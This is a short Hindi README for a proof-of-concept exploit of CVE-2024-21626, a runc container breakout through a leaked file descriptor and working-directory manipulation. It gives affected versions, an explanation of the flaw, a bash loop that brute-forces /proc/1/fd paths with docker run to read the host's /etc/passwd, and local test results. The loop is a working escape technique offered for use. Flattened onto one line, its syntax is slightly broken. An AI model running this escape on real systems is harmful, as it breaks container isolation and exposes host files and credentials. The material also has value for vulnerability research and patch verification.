
CVE-2024-21626 के लिए प्रूफ-ऑफ-कॉन्सेप्ट एक्सप्लॉइट, लीक फ़ाइल डिस्क्रिप्टर और process.cwd हेरफेर के माध्यम से runc कंटेनर ब्रेकआउट, होस्ट फ़ाइल सिस्टम एक्सेस सक्षम करता है।
उपयोग:
docker-compose up
सत्यापन: यदि होस्ट का /etc/passwd प्राप्त हो जाता है, तो यह भेद्यता मौजूद है
वातावरण: runc: >=v1.0.0-rc93,<=1.1.11
हमले के विवरण का सिद्धांत: runc के प्रभावित संस्करणों में, प्रारंभिकरण (initialization) प्रक्रिया के दौरान कुछ आंतरिक फ़ाइल डिस्क्रिप्टर लीक हो जाते हैं, जिनमें होस्ट के /sys/fs/cgroup का हैंडल भी शामिल है। साथ ही, runc यह सत्यापित नहीं करता कि अंतिम कार्यशील निर्देशिका कंटेनर के माउंट नेमस्पेस के भीतर है या नहीं। हमलावर process.cwd को /proc/self/fd/7 पर सेट कर सकता है, या होस्ट पर runc exec कॉल करते समय --cwd पैरामीटर में दिए गए विशिष्ट पथ को /proc/self/fd/7/ सिमलिंक से बदल सकता है, जिससे कंटेनर के अंदर की प्रक्रियाएँ होस्ट के फ़ाइल सिस्टम तक पहुँच और संचालन कर सकती हैं, और इस प्रकार कंटेनर के अलगाव तंत्र को बायपास कर सकती हैं। अधिक विवरण (gif चित्र):

CVE: CVE - CVE-2024-21626 (mitre.org)
इस भेद्यता का खोजकर्ता: CVE-2024-21626 runc process.cwd और लीक हुए fds कंटेनर ब्रेकआउट |स्निक (snyk.io)

वास्तविक fd फ़ाइल खोलने के क्रम के अनुसार बदल सकता है; ब्रूट-फोर्स के लिए निम्न स्क्रिप्ट का उपयोग किया जा सकता है
/// #!/bin/bash
for i in {3..10} do # 使用变量构造工作目录,并运行容器 docker run -w /proc/1/fd/$i ubuntu cat ../../../../../etc/passwd done ///
स्थानीय परीक्षण सफल:
fd/9 द्वारा कार्यान्वित, runc-version: 1.1.10 1.1.2

जब runc --version 1.0.0 है

जब runc --version 1.1.4 है, fd/8 द्वारा कार्यान्वित

आज ही खोजी गई भेद्यता नीचे अधिक विवरण दिए गए हैं
इसे निम्न विधियों से दोहराया जा सकता है:
todo: runc ब्रेकपॉइंट से fd प्राप्त करके स्वचालन आसानी से लागू करना